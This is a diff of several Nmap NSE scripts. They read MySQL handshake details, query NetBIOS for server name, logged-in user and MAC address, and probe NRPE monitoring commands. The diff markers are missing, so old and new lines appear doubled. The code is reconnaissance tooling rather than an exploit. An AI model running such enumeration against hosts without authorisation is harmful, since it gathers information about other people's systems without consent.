-- Keeps track of where we are in the binary data
local offset = 1 + 4
local protocol = response:byte(offset)
local protocol = response:byte(offset)
offset = offset + 1
offset = offset + 1
-- If a 0xff is here instead of the protocol, an error occurred.
-- Pass it along to the user..
if (protocol == 255) then
output = "MySQL Error detected!\n"
-- If a 0xff is here instead of the protocol, an error occurred.
-- Pass it along to the user..
if (protocol == 255) then
output = "MySQL Error detected!\n"
local sqlerrno = ntohs(response:sub(offset, offset + 2))
local sqlerrno = ntohs(response:sub(offset, offset + 2))
offset = offset + 2
offset = offset + 2
local sqlerrstr = response:sub(offset)
local sqlerrstr = response:sub(offset)
output = output .. "Error Code was: " .. sqlerrno .. "\n"
output = output .. "Error Code was: " .. sqlerrno .. "\n"
output = output .. sqlerrstr
output = output .. sqlerrstr
return output
end
return output
end
local version = getstring(response:sub(offset))
local version = getstring(response:sub(offset))
offset = offset + version:len() + 1
offset = offset + version:len() + 1
local threadid = ntohl(response:sub(offset, offset + 4))
local threadid = ntohl(response:sub(offset, offset + 4))
offset = offset + 4
offset = offset + 4
local salt = getstring(response:sub(offset))
local salt = getstring(response:sub(offset))
offset = offset + salt:len() + 1
offset = offset + salt:len() + 1
local caps = capabilities(ntohs(response:sub(offset, offset + 2)))
local caps = capabilities(ntohs(response:sub(offset, offset + 2)))
offset = offset + 2
offset = offset + 2
offset = offset + 1
offset = offset + 1
local status = ""
local status = ""
if ntohs(response:sub(offset, offset + 2)) == 2 then
status = "Autocommit"
end
if ntohs(response:sub(offset, offset + 2)) == 2 then
status = "Autocommit"
end
offset = offset + 2
offset = offset + 2
offset = offset + 13 -- unused
offset = offset + 13 -- unused
if response:len() - offset + 1 == 13 then
salt = salt .. getstring(response:sub(offset))
end
if response:len() - offset + 1 == 13 then
salt = salt .. getstring(response:sub(offset))
end
output = output .. "Protocol: " .. protocol .. "\n"
output = output .. "Version: " .. version .. "\n"
output = output .. "Thread ID: " .. threadid .. "\n"
output = output .. "Protocol: " .. protocol .. "\n"
output = output .. "Version: " .. version .. "\n"
output = output .. "Thread ID: " .. threadid .. "\n"
if caps:len() > 0 then
output = output .. "Some Capabilities: " .. caps .. "\n"
end
if caps:len() > 0 then
output = output .. "Some Capabilities: " .. caps .. "\n"
end
if status:len() > 0 then
output = output .. "Status: " .. status .. "\n"
end
if status:len() > 0 then
output = output .. "Status: " .. status .. "\n"
end
output = output .. "Salt: " .. salt .. "\n"
output = output .. "Salt: " .. salt .. "\n"
return output
return output
end

View File

@@ -87,155 +87,155 @@ categories = {"default", "discovery", "safe"}
hostrule = function(host)
-- The following is an attempt to only run this script against hosts
-- that will probably respond to a UDP 137 probe. One might argue
-- that sending a single UDP packet and waiting for a response is no
-- big deal and that it should be done for every host. In that case
-- simply change this rule to always return true.
-- The following is an attempt to only run this script against hosts
-- that will probably respond to a UDP 137 probe. One might argue
-- that sending a single UDP packet and waiting for a response is no
-- big deal and that it should be done for every host. In that case
-- simply change this rule to always return true.
local port_t135 = nmap.get_port_state(host,
{number=135, protocol="tcp"})
local port_t139 = nmap.get_port_state(host,
{number=139, protocol="tcp"})
local port_t445 = nmap.get_port_state(host,
{number=445, protocol="tcp"})
local port_u137 = nmap.get_port_state(host,
{number=137, protocol="udp"})
local port_t135 = nmap.get_port_state(host,
{number=135, protocol="tcp"})
local port_t139 = nmap.get_port_state(host,
{number=139, protocol="tcp"})
local port_t445 = nmap.get_port_state(host,
{number=445, protocol="tcp"})
local port_u137 = nmap.get_port_state(host,
{number=137, protocol="udp"})
return (port_t135 ~= nil and port_t135.state == "open") or
(port_t139 ~= nil and port_t139.state == "open") or
(port_t445 ~= nil and port_t445.state == "open") or
(port_u137 ~= nil and
(port_u137.state == "open" or
port_u137.state == "open|filtered"))
return (port_t135 ~= nil and port_t135.state == "open") or
(port_t139 ~= nil and port_t139.state == "open") or
(port_t445 ~= nil and port_t445.state == "open") or
(port_u137 ~= nil and
(port_u137.state == "open" or
port_u137.state == "open|filtered"))
end
action = function(host)
local i
local status
local names, statistics
local server_name, user_name
local mac, prefix, manuf
local response = {}
local catch = function() return end
local try = nmap.new_try(catch)
local i
local status
local names, statistics
local server_name, user_name
local mac, prefix, manuf
local response = {}
local catch = function() return end
local try = nmap.new_try(catch)
-- Get the list of NetBIOS names
status, names, statistics = netbios.do_nbstat(host)
status, names, statistics = netbios.do_nbstat(host)
status, names, statistics = netbios.do_nbstat(host)
status, names, statistics = netbios.do_nbstat(host)
if(status == false) then
return stdnse.format_output(false, names)
end
-- Get the list of NetBIOS names
status, names, statistics = netbios.do_nbstat(host)
status, names, statistics = netbios.do_nbstat(host)
status, names, statistics = netbios.do_nbstat(host)
status, names, statistics = netbios.do_nbstat(host)
if(status == false) then
return stdnse.format_output(false, names)
end
-- Get the server name
status, server_name = netbios.get_server_name(host, names)
if(status == false) then
return stdnse.format_output(false, server_name)
end
-- Get the server name
status, server_name = netbios.get_server_name(host, names)
if(status == false) then
return stdnse.format_output(false, server_name)
end
-- Get the logged in user
status, user_name = netbios.get_user_name(host, names)
if(status == false) then
return stdnse.format_output(false, user_name)
end
-- Get the logged in user
status, user_name = netbios.get_user_name(host, names)
if(status == false) then
return stdnse.format_output(false, user_name)
end
local mac_prefixes = try(datafiles.parse_mac_prefixes())
-- Format the Mac address in the standard way
if(#statistics >= 6) then
-- MAC prefixes are matched on the first three bytes, all uppercase
prefix = string.upper(string.format("%02x%02x%02x", statistics:byte(1), statistics:byte(2), statistics:byte(3)))
mac = {
address = ("%02x:%02x:%02x:%02x:%02x:%02x"):format( statistics:byte(1), statistics:byte(2), statistics:byte(3), statistics:byte(4), statistics:byte(5), statistics:byte(6) ),
manuf = mac_prefixes[prefix] or "unknown"
}
host.registry['nbstat'] = {
server_name = server_name,
mac = mac.address
}
-- Samba doesn't set the Mac address, and nmap-mac-prefixes shows that as Xerox
if(mac.address == "00:00:00:00:00:00") then
mac.address = "<unknown>"
mac.manuf = "unknown"
end
else
mac = {
address = "<unknown>",
manuf = "unknown"
}
end
setmetatable(mac, {
-- MAC is formatted as "00:11:22:33:44:55 (Manufacturer)"
__tostring=function(t) return string.format("%s (%s)", t.address, t.manuf) end
})
-- Format the Mac address in the standard way
if(#statistics >= 6) then
-- MAC prefixes are matched on the first three bytes, all uppercase
prefix = string.upper(string.format("%02x%02x%02x", statistics:byte(1), statistics:byte(2), statistics:byte(3)))
mac = {
address = ("%02x:%02x:%02x:%02x:%02x:%02x"):format( statistics:byte(1), statistics:byte(2), statistics:byte(3), statistics:byte(4), statistics:byte(5), statistics:byte(6) ),
manuf = mac_prefixes[prefix] or "unknown"
}
host.registry['nbstat'] = {
server_name = server_name,
mac = mac.address
}
-- Samba doesn't set the Mac address, and nmap-mac-prefixes shows that as Xerox
if(mac.address == "00:00:00:00:00:00") then
mac.address = "<unknown>"
mac.manuf = "unknown"
end
else
mac = {
address = "<unknown>",
manuf = "unknown"
}
end
setmetatable(mac, {
-- MAC is formatted as "00:11:22:33:44:55 (Manufacturer)"
__tostring=function(t) return string.format("%s (%s)", t.address, t.manuf) end
})
-- Check if we actually got a username
if(user_name == nil) then
user_name = "<unknown>"
end
-- Check if we actually got a username
if(user_name == nil) then
user_name = "<unknown>"
end
response["server_name"] = server_name
response["user"] = user_name
response["mac"] = mac
response["server_name"] = server_name
response["user"] = user_name
response["mac"] = mac
local names_output = {}
for i = 1, #names, 1 do
local name = names[i]
setmetatable(name, {
__tostring = function(t)
-- Tabular format with padding
return string.format("%s<%02x>%sFlags: %s",
t['name'], t['suffix'],
string.rep(" ", 17 - #t['name']),
netbios.flags_to_string(t['flags']))
end
})
table.insert(names_output, name)
end
setmetatable(names_output, {
__tostring = function(t)
local ret = {}
for i,v in ipairs(t) do
table.insert(ret, tostring(v))
end
-- Indent Names table by 2 spaces
return " " .. table.concat(ret, "\n ")
end
})
local names_output = {}
for i = 1, #names, 1 do
local name = names[i]
setmetatable(name, {
__tostring = function(t)
-- Tabular format with padding
return string.format("%s<%02x>%sFlags: %s",
t['name'], t['suffix'],
string.rep(" ", 17 - #t['name']),
netbios.flags_to_string(t['flags']))
end
})
table.insert(names_output, name)
end
setmetatable(names_output, {
__tostring = function(t)
local ret = {}
for i,v in ipairs(t) do
table.insert(ret, tostring(v))
end
-- Indent Names table by 2 spaces
return " " .. table.concat(ret, "\n ")
end
})
response["names"] = names_output
response["names"] = names_output
local statistics_output = {}
for i = 1, #statistics, 16 do
--Format statistics as space-separated hex bytes, 16 columns
table.insert(statistics_output,
stdnse.tohex(string.sub(statistics,i,i+16), {separator = " "})
)
end
response["statistics"] = statistics_output
local statistics_output = {}
for i = 1, #statistics, 16 do
--Format statistics as space-separated hex bytes, 16 columns
table.insert(statistics_output,
stdnse.tohex(string.sub(statistics,i,i+16), {separator = " "})
)
end
response["statistics"] = statistics_output
setmetatable(response, {
__tostring = function(t)
-- Normal single-line result
local ret = {string.format("NetBIOS name: %s, NetBIOS user: %s, NetBIOS MAC: %s", t.server_name, t.user, t.mac)}
-- If verbosity is set, dump the whole list of names
if nmap.verbosity() >= 1 then
table.insert(ret, string.format("Names:\n%s",t.names))
-- If super verbosity is set, print out the full statistics
if nmap.verbosity() >= 2 then
-- Indent Statistics table by 2 spaces
table.insert(ret, string.format("Statistics:\n %s",table.concat(t.statistics,"\n ")))
end
end
return table.concat(ret, "\n")
end
})
setmetatable(response, {
__tostring = function(t)
-- Normal single-line result
local ret = {string.format("NetBIOS name: %s, NetBIOS user: %s, NetBIOS MAC: %s", t.server_name, t.user, t.mac)}
-- If verbosity is set, dump the whole list of names
if nmap.verbosity() >= 1 then
table.insert(ret, string.format("Names:\n%s",t.names))
-- If super verbosity is set, print out the full statistics
if nmap.verbosity() >= 2 then
-- Indent Statistics table by 2 spaces
table.insert(ret, string.format("Statistics:\n %s",table.concat(t.statistics,"\n ")))
end
end
return table.concat(ret, "\n")
end
})
return response
return response
end

View File

@@ -39,214 +39,214 @@ categories = {"discovery", "intrusive"}
local NRPE_PROTOCOLS = {
"ssl",
"tcp"
"ssl",
"tcp"
}
local NRPE_STATES = {
[0] = "OK",
[1] = "WARNING",
[2] ="CRITICAL",
[3] = "UNKNOWN"
[0] = "OK",
[1] = "WARNING",
[2] ="CRITICAL",
[3] = "UNKNOWN"
}
local NRPE_COMMANDS = {
"check_hda1",
"check_load",
"check_total_procs",
"check_users",
"check_zombie_procs"
"check_hda1",
"check_load",
"check_total_procs",
"check_users",
"check_zombie_procs"
}
local CRC32_CONSTANTS = {
0x00000000, 0x77073096, 0xEE0E612C, 0x990951BA, 0x076DC419, 0x706AF48F,
0xE963A535, 0x9E6495A3, 0x0EDB8832, 0x79DCB8A4, 0xE0D5E91E, 0x97D2D988,
0x09B64C2B, 0x7EB17CBD, 0xE7B82D07, 0x90BF1D91, 0x1DB71064, 0x6AB020F2,
0xF3B97148, 0x84BE41DE, 0x1ADAD47D, 0x6DDDE4EB, 0xF4D4B551, 0x83D385C7,
0x136C9856, 0x646BA8C0, 0xFD62F97A, 0x8A65C9EC, 0x14015C4F, 0x63066CD9,
0xFA0F3D63, 0x8D080DF5, 0x3B6E20C8, 0x4C69105E, 0xD56041E4, 0xA2677172,
0x3C03E4D1, 0x4B04D447, 0xD20D85FD, 0xA50AB56B, 0x35B5A8FA, 0x42B2986C,
0xDBBBC9D6, 0xACBCF940, 0x32D86CE3, 0x45DF5C75, 0xDCD60DCF, 0xABD13D59,
0x26D930AC, 0x51DE003A, 0xC8D75180, 0xBFD06116, 0x21B4F4B5, 0x56B3C423,
0xCFBA9599, 0xB8BDA50F, 0x2802B89E, 0x5F058808, 0xC60CD9B2, 0xB10BE924,
0x2F6F7C87, 0x58684C11, 0xC1611DAB, 0xB6662D3D, 0x76DC4190, 0x01DB7106,
0x98D220BC, 0xEFD5102A, 0x71B18589, 0x06B6B51F, 0x9FBFE4A5, 0xE8B8D433,
0x7807C9A2, 0x0F00F934, 0x9609A88E, 0xE10E9818, 0x7F6A0DBB, 0x086D3D2D,
0x91646C97, 0xE6635C01, 0x6B6B51F4, 0x1C6C6162, 0x856530D8, 0xF262004E,
0x6C0695ED, 0x1B01A57B, 0x8208F4C1, 0xF50FC457, 0x65B0D9C6, 0x12B7E950,
0x8BBEB8EA, 0xFCB9887C, 0x62DD1DDF, 0x15DA2D49, 0x8CD37CF3, 0xFBD44C65,
0x4DB26158, 0x3AB551CE, 0xA3BC0074, 0xD4BB30E2, 0x4ADFA541, 0x3DD895D7,
0xA4D1C46D, 0xD3D6F4FB, 0x4369E96A, 0x346ED9FC, 0xAD678846, 0xDA60B8D0,
0x44042D73, 0x33031DE5, 0xAA0A4C5F, 0xDD0D7CC9, 0x5005713C, 0x270241AA,
0xBE0B1010, 0xC90C2086, 0x5768B525, 0x206F85B3, 0xB966D409, 0xCE61E49F,
0x5EDEF90E, 0x29D9C998, 0xB0D09822, 0xC7D7A8B4, 0x59B33D17, 0x2EB40D81,
0xB7BD5C3B, 0xC0BA6CAD, 0xEDB88320, 0x9ABFB3B6, 0x03B6E20C, 0x74B1D29A,
0xEAD54739, 0x9DD277AF, 0x04DB2615, 0x73DC1683, 0xE3630B12, 0x94643B84,
0x0D6D6A3E, 0x7A6A5AA8, 0xE40ECF0B, 0x9309FF9D, 0x0A00AE27, 0x7D079EB1,
0xF00F9344, 0x8708A3D2, 0x1E01F268, 0x6906C2FE, 0xF762575D, 0x806567CB,
0x196C3671, 0x6E6B06E7, 0xFED41B76, 0x89D32BE0, 0x10DA7A5A, 0x67DD4ACC,
0xF9B9DF6F, 0x8EBEEFF9, 0x17B7BE43, 0x60B08ED5, 0xD6D6A3E8, 0xA1D1937E,
0x38D8C2C4, 0x4FDFF252, 0xD1BB67F1, 0xA6BC5767, 0x3FB506DD, 0x48B2364B,
0xD80D2BDA, 0xAF0A1B4C, 0x36034AF6, 0x41047A60, 0xDF60EFC3, 0xA867DF55,
0x316E8EEF, 0x4669BE79, 0xCB61B38C, 0xBC66831A, 0x256FD2A0, 0x5268E236,
0xCC0C7795, 0xBB0B4703, 0x220216B9, 0x5505262F, 0xC5BA3BBE, 0xB2BD0B28,
0x2BB45A92, 0x5CB36A04, 0xC2D7FFA7, 0xB5D0CF31, 0x2CD99E8B, 0x5BDEAE1D,
0x9B64C2B0, 0xEC63F226, 0x756AA39C, 0x026D930A, 0x9C0906A9, 0xEB0E363F,
0x72076785, 0x05005713, 0x95BF4A82, 0xE2B87A14, 0x7BB12BAE, 0x0CB61B38,
0x92D28E9B, 0xE5D5BE0D, 0x7CDCEFB7, 0x0BDBDF21, 0x86D3D2D4, 0xF1D4E242,
0x68DDB3F8, 0x1FDA836E, 0x81BE16CD, 0xF6B9265B, 0x6FB077E1, 0x18B74777,
0x88085AE6, 0xFF0F6A70, 0x66063BCA, 0x11010B5C, 0x8F659EFF, 0xF862AE69,
0x616BFFD3, 0x166CCF45, 0xA00AE278, 0xD70DD2EE, 0x4E048354, 0x3903B3C2,
0xA7672661, 0xD06016F7, 0x4969474D, 0x3E6E77DB, 0xAED16A4A, 0xD9D65ADC,
0x40DF0B66, 0x37D83BF0, 0xA9BCAE53, 0xDEBB9EC5, 0x47B2CF7F, 0x30B5FFE9,
0xBDBDF21C, 0xCABAC28A, 0x53B39330, 0x24B4A3A6, 0xBAD03605, 0xCDD70693,
0x54DE5729, 0x23D967BF, 0xB3667A2E, 0xC4614AB8, 0x5D681B02, 0x2A6F2B94,
0xB40BBE37, 0xC30C8EA1, 0x5A05DF1B, 0x2D02EF8D
0x00000000, 0x77073096, 0xEE0E612C, 0x990951BA, 0x076DC419, 0x706AF48F,
0xE963A535, 0x9E6495A3, 0x0EDB8832, 0x79DCB8A4, 0xE0D5E91E, 0x97D2D988,
0x09B64C2B, 0x7EB17CBD, 0xE7B82D07, 0x90BF1D91, 0x1DB71064, 0x6AB020F2,
0xF3B97148, 0x84BE41DE, 0x1ADAD47D, 0x6DDDE4EB, 0xF4D4B551, 0x83D385C7,
0x136C9856, 0x646BA8C0, 0xFD62F97A, 0x8A65C9EC, 0x14015C4F, 0x63066CD9,
0xFA0F3D63, 0x8D080DF5, 0x3B6E20C8, 0x4C69105E, 0xD56041E4, 0xA2677172,
0x3C03E4D1, 0x4B04D447, 0xD20D85FD, 0xA50AB56B, 0x35B5A8FA, 0x42B2986C,
0xDBBBC9D6, 0xACBCF940, 0x32D86CE3, 0x45DF5C75, 0xDCD60DCF, 0xABD13D59,
0x26D930AC, 0x51DE003A, 0xC8D75180, 0xBFD06116, 0x21B4F4B5, 0x56B3C423,
0xCFBA9599, 0xB8BDA50F, 0x2802B89E, 0x5F058808, 0xC60CD9B2, 0xB10BE924,
0x2F6F7C87, 0x58684C11, 0xC1611DAB, 0xB6662D3D, 0x76DC4190, 0x01DB7106,
0x98D220BC, 0xEFD5102A, 0x71B18589, 0x06B6B51F, 0x9FBFE4A5, 0xE8B8D433,
0x7807C9A2, 0x0F00F934, 0x9609A88E, 0xE10E9818, 0x7F6A0DBB, 0x086D3D2D,
0x91646C97, 0xE6635C01, 0x6B6B51F4, 0x1C6C6162, 0x856530D8, 0xF262004E,
0x6C0695ED, 0x1B01A57B, 0x8208F4C1, 0xF50FC457, 0x65B0D9C6, 0x12B7E950,
0x8BBEB8EA, 0xFCB9887C, 0x62DD1DDF, 0x15DA2D49, 0x8CD37CF3, 0xFBD44C65,
0x4DB26158, 0x3AB551CE, 0xA3BC0074, 0xD4BB30E2, 0x4ADFA541, 0x3DD895D7,
0xA4D1C46D, 0xD3D6F4FB, 0x4369E96A, 0x346ED9FC, 0xAD678846, 0xDA60B8D0,
0x44042D73, 0x33031DE5, 0xAA0A4C5F, 0xDD0D7CC9, 0x5005713C, 0x270241AA,
0xBE0B1010, 0xC90C2086, 0x5768B525, 0x206F85B3, 0xB966D409, 0xCE61E49F,
0x5EDEF90E, 0x29D9C998, 0xB0D09822, 0xC7D7A8B4, 0x59B33D17, 0x2EB40D81,
0xB7BD5C3B, 0xC0BA6CAD, 0xEDB88320, 0x9ABFB3B6, 0x03B6E20C, 0x74B1D29A,
0xEAD54739, 0x9DD277AF, 0x04DB2615, 0x73DC1683, 0xE3630B12, 0x94643B84,
0x0D6D6A3E, 0x7A6A5AA8, 0xE40ECF0B, 0x9309FF9D, 0x0A00AE27, 0x7D079EB1,
0xF00F9344, 0x8708A3D2, 0x1E01F268, 0x6906C2FE, 0xF762575D, 0x806567CB,
0x196C3671, 0x6E6B06E7, 0xFED41B76, 0x89D32BE0, 0x10DA7A5A, 0x67DD4ACC,
0xF9B9DF6F, 0x8EBEEFF9, 0x17B7BE43, 0x60B08ED5, 0xD6D6A3E8, 0xA1D1937E,
0x38D8C2C4, 0x4FDFF252, 0xD1BB67F1, 0xA6BC5767, 0x3FB506DD, 0x48B2364B,
0xD80D2BDA, 0xAF0A1B4C, 0x36034AF6, 0x41047A60, 0xDF60EFC3, 0xA867DF55,
0x316E8EEF, 0x4669BE79, 0xCB61B38C, 0xBC66831A, 0x256FD2A0, 0x5268E236,
0xCC0C7795, 0xBB0B4703, 0x220216B9, 0x5505262F, 0xC5BA3BBE, 0xB2BD0B28,
0x2BB45A92, 0x5CB36A04, 0xC2D7FFA7, 0xB5D0CF31, 0x2CD99E8B, 0x5BDEAE1D,
0x9B64C2B0, 0xEC63F226, 0x756AA39C, 0x026D930A, 0x9C0906A9, 0xEB0E363F,
0x72076785, 0x05005713, 0x95BF4A82, 0xE2B87A14, 0x7BB12BAE, 0x0CB61B38,
0x92D28E9B, 0xE5D5BE0D, 0x7CDCEFB7, 0x0BDBDF21, 0x86D3D2D4, 0xF1D4E242,
0x68DDB3F8, 0x1FDA836E, 0x81BE16CD, 0xF6B9265B, 0x6FB077E1, 0x18B74777,
0x88085AE6, 0xFF0F6A70, 0x66063BCA, 0x11010B5C, 0x8F659EFF, 0xF862AE69,
0x616BFFD3, 0x166CCF45, 0xA00AE278, 0xD70DD2EE, 0x4E048354, 0x3903B3C2,
0xA7672661, 0xD06016F7, 0x4969474D, 0x3E6E77DB, 0xAED16A4A, 0xD9D65ADC,
0x40DF0B66, 0x37D83BF0, 0xA9BCAE53, 0xDEBB9EC5, 0x47B2CF7F, 0x30B5FFE9,
0xBDBDF21C, 0xCABAC28A, 0x53B39330, 0x24B4A3A6, 0xBAD03605, 0xCDD70693,
0x54DE5729, 0x23D967BF, 0xB3667A2E, 0xC4614AB8, 0x5D681B02, 0x2A6F2B94,
0xB40BBE37, 0xC30C8EA1, 0x5A05DF1B, 0x2D02EF8D
}
local crc32 = function(s)
local crc = 0xFFFFFFFF
for i = 1, #s do
local p1 = s:byte(i)
local p2 = bit.bxor(crc, p1)
local p3 = bit.band(p2, 0xFF)
local p4 = bit.band(p3)
local p5 = CRC32_CONSTANTS[p4 + 1]
local p6 = bit.rshift(crc, 8)
local crc = 0xFFFFFFFF
for i = 1, #s do
local p1 = s:byte(i)
local p2 = bit.bxor(crc, p1)
local p3 = bit.band(p2, 0xFF)
local p4 = bit.band(p3)
local p5 = CRC32_CONSTANTS[p4 + 1]
local p6 = bit.rshift(crc, 8)
crc = bit.bxor(p6, p5)
end
crc = bit.bxor(p6, p5)
end
return bit.bxor(crc, 0xFFFFFFFF)
return bit.bxor(crc, 0xFFFFFFFF)
end
local nrpe_open = function(host, port)
for _, proto in pairs(NRPE_PROTOCOLS) do
local sock = nmap.new_socket()
sock:set_timeout(2000)
local status, err = sock:connect(host, port, proto)
if status then
NRPE_PROTOCOLS = {proto}
return true, sock
end
for _, proto in pairs(NRPE_PROTOCOLS) do
local sock = nmap.new_socket()
sock:set_timeout(2000)
local status, err = sock:connect(host, port, proto)
if status then
NRPE_PROTOCOLS = {proto}
return true, sock
end
stdnse.print_debug(2, "Can't connect using %s: %s", proto, err)
sock:close()
end
stdnse.print_debug(2, "Can't connect using %s: %s", proto, err)
sock:close()
end
return false, nil
return false, nil
end
local nrpe_write = function(cmd)
-- Create request packet, before checksum.
local pkt = ""
pkt = pkt .. bin.pack(">S", 2)
pkt = pkt .. bin.pack(">S", 1)
pkt = pkt .. bin.pack(">I", 0)
pkt = pkt .. bin.pack(">S", 0)
pkt = pkt .. bin.pack("A", cmd)
pkt = pkt .. string.char(0x00):rep(1024 - #cmd)
pkt = pkt .. bin.pack(">S", 0)
-- Create request packet, before checksum.
local pkt = ""
pkt = pkt .. bin.pack(">S", 2)
pkt = pkt .. bin.pack(">S", 1)
pkt = pkt .. bin.pack(">I", 0)
pkt = pkt .. bin.pack(">S", 0)
pkt = pkt .. bin.pack("A", cmd)
pkt = pkt .. string.char(0x00):rep(1024 - #cmd)
pkt = pkt .. bin.pack(">S", 0)
-- Calculate the checksum, and insert it into the packet.
pkt = bin.pack(
"A>IA",
string.char(pkt:byte(1, 4)),
crc32(pkt),
string.char(pkt:byte(9, #pkt))
)
-- Calculate the checksum, and insert it into the packet.
pkt = bin.pack(
"A>IA",
string.char(pkt:byte(1, 4)),
crc32(pkt),
string.char(pkt:byte(9, #pkt))
)
return pkt
return pkt
end
local nrpe_read = function(pkt)
local i
local result = {}
local i
local result = {}
-- Parse packet.
i, result.version = bin.unpack(">S", pkt, i)
i, result.type = bin.unpack(">S", pkt, i)
i, result.crc32 = bin.unpack(">I", pkt, i)
i, result.state = bin.unpack(">S", pkt, i)
i, result.data = bin.unpack("z", pkt, i)
-- Parse packet.
i, result.version = bin.unpack(">S", pkt, i)
i, result.type = bin.unpack(">S", pkt, i)
i, result.crc32 = bin.unpack(">I", pkt, i)
i, result.state = bin.unpack(">S", pkt, i)
i, result.data = bin.unpack("z", pkt, i)
return result
return result
end
local nrpe_check = function(host, port, cmd)
-- Create connection.
local status, sock = nrpe_open(host, port)
if not status then
return false, nil
end
-- Create connection.
local status, sock = nrpe_open(host, port)
if not status then
return false, nil
end
-- Send query.
local status, err = sock:send(nrpe_write(cmd))
if not status then
stdnse.print_debug(1, "Failed to send NRPE query for command %s: %s", cmd, err)
sock:close()
return false, nil
end
-- Send query.
local status, err = sock:send(nrpe_write(cmd))
if not status then
stdnse.print_debug(1, "Failed to send NRPE query for command %s: %s", cmd, err)
sock:close()
return false, nil
end
-- Receive response.
local status, resp = sock:receive()
if not status then
stdnse.print_debug(1, "Can't read NRPE response: %s", resp)
sock:close()
return false, nil
end
-- Receive response.
local status, resp = sock:receive()
if not status then
stdnse.print_debug(1, "Can't read NRPE response: %s", resp)
sock:close()
return false, nil
end
sock:close()
sock:close()
return true, nrpe_read(resp)
return true, nrpe_read(resp)
end
portrule = shortport.port_or_service(5666, "nrpe")
action = function(host, port)
-- Get script arguments.
local cmds = stdnse.get_script_args("nrpe-enum.cmds")
if cmds then
cmds = stdnse.strsplit(":", cmds)
else
cmds = NRPE_COMMANDS
end
-- Get script arguments.
local cmds = stdnse.get_script_args("nrpe-enum.cmds")
if cmds then
cmds = stdnse.strsplit(":", cmds)
else
cmds = NRPE_COMMANDS
end
-- Create results table.
local results = tab.new()
tab.addrow(
results,
"Command",
"State",
"Response"
)
-- Create results table.
local results = tab.new()
tab.addrow(
results,
"Command",
"State",
"Response"
)
-- Try each NRPE command, and collect the results.
for _, cmd in pairs(cmds) do
local status, result = nrpe_check(host, port, cmd)
if status then
tab.addrow(
results,
cmd,
NRPE_STATES[result.state],
result.data
)
end
end
-- Try each NRPE command, and collect the results.
for _, cmd in pairs(cmds) do
local status, result = nrpe_check(host, port, cmd)
if status then
tab.addrow(
results,
cmd,
NRPE_STATES[result.state],
result.data
)
end
end
-- If no queries generated responses, don't output anything.
if #results == 1 then
return
end
-- If no queries generated responses, don't output anything.
if #results == 1 then
return
end
-- Record service description.
port.version.name = "nrpe"
port.version.product = "Nagios Remote Plugin Executor"
nmap.set_port_version(host, port)
-- Record service description.
port.version.name = "nrpe"
port.version.product = "Nagios Remote Plugin Executor"
nmap.set_port_version(host, port)
-- Format table, without trailing newline.
results = tab.dump(results)
results = results:sub(1, #results - 1)
-- Format table, without trailing newline.
results = tab.dump(results)
results = results:sub(1, #results - 1)
return "\n" .. results
return "\n" .. results
end

View File

@@ -35,23 +35,23 @@ portrule = shortport.port_or_service(5850, "openlookup")
-- parses a Netstring element
local function parsechunk(data)
local parts = stdnse.strsplit(":", data)
if #parts < 2 then
return nil, data
end
local head = table.remove(parts, 1)
local size = tonumber(head)
if not size then
return nil, data
end
local body = stdnse.strjoin(":", parts)
if #body < size then
return nil, data
end
local chunk = string.sub(body, 1, size)
local skip = #chunk + string.len(",")
local rest = string.sub(body, skip + 1)
return chunk, rest
local parts = stdnse.strsplit(":", data)
if #parts < 2 then
return nil, data
end
local head = table.remove(parts, 1)
local size = tonumber(head)
if not size then
return nil, data
end
local body = stdnse.strjoin(":", parts)
if #body < size then
return nil, data
end
local chunk = string.sub(body, 1, size)
local skip = #chunk + string.len(",")
local rest = string.sub(body, skip + 1)
return chunk, rest
end
-- NSON helpers
@@ -59,203 +59,203 @@ end
-- parses an NSON int
local function parseint(data)
if string.sub(data, 1, 1) ~= "i" then
return
end
local text = string.sub(data, 2)
local number = tonumber(text)
return number
if string.sub(data, 1, 1) ~= "i" then
return
end
local text = string.sub(data, 2)
local number = tonumber(text)
return number
end
-- parses an NSON float
local function parsefloat(data)
if string.sub(data, 1, 1) ~= "f" then
return
end
local text = string.sub(data, 2)
local number = tonumber(text)
return number
if string.sub(data, 1, 1) ~= "f" then
return
end
local text = string.sub(data, 2)
local number = tonumber(text)
return number
end
-- parses an NSON string
local function parsestring(data)
if string.sub(data, 1, 1) ~= "s" then
return
end
return string.sub(data, 2)
if string.sub(data, 1, 1) ~= "s" then
return
end
return string.sub(data, 2)
end
-- parses an NSON int, float, or string
local function parsesimple(data)
local i = parseint(data)
local f = parsefloat(data)
local s = parsestring(data)
return i or f or s
local i = parseint(data)
local f = parsefloat(data)
local s = parsestring(data)
return i or f or s
end
-- parses an NSON dictionary
local function parsedict(data)
if #data < 1 then
return
end
if string.sub(data, 1, 1) ~= "d" then
return
end
local rest = string.sub(data, 2)
local dict = {}
while #rest > 0 do
local chunk, key, value
chunk, rest = parsechunk(rest)
if not chunk then
return
end
key = parsestring(chunk)
value, rest = parsechunk(rest)
if not value then
return
end
dict[key] = value
end
return dict
if #data < 1 then
return
end
if string.sub(data, 1, 1) ~= "d" then
return
end
local rest = string.sub(data, 2)
local dict = {}
while #rest > 0 do
local chunk, key, value
chunk, rest = parsechunk(rest)
if not chunk then
return
end
key = parsestring(chunk)
value, rest = parsechunk(rest)
if not value then
return
end
dict[key] = value
end
return dict
end
-- parses an NSON array
local function parsearray(data)
if #data < 1 then
return
end
if string.sub(data, 1, 1) ~= "a" then
return
end
local rest = string.sub(data, 2)
local array = {}
while #rest > 0 do
local value
value, rest = parsechunk(rest)
if not value then
return
end
table.insert(array, value)
end
return array
if #data < 1 then
return
end
if string.sub(data, 1, 1) ~= "a" then
return
end
local rest = string.sub(data, 2)
local array = {}
while #rest > 0 do
local value
value, rest = parsechunk(rest)
if not value then
return
end
table.insert(array, value)
end
return array
end
-- OpenLookup specific stuff
local function formataddress(data)
local parts = parsearray(data)
if not parts then
return
end
if #parts < 2 then
return
end
local ip = parsestring(parts[1])
if not ip then
return
end
local port = parseint(parts[2])
if not port then
return
end
return ip .. ":" .. port
local parts = parsearray(data)
if not parts then
return
end
if #parts < 2 then
return
end
local ip = parsestring(parts[1])
if not ip then
return
end
local port = parseint(parts[2])
if not port then
return
end
return ip .. ":" .. port
end
local function formattime(data)
local time = parsefloat(data)
if not time then
return
end
local human = stdnse.format_timestamp(time)
return time .. " (" .. human .. ")"
local time = parsefloat(data)
if not time then
return
end
local human = stdnse.format_timestamp(time)
return time .. " (" .. human .. ")"
end
local function formatkey(key)
local parts = stdnse.strsplit("_", key)
return stdnse.strjoin(" ", parts)
local parts = stdnse.strsplit("_", key)
return stdnse.strjoin(" ", parts)
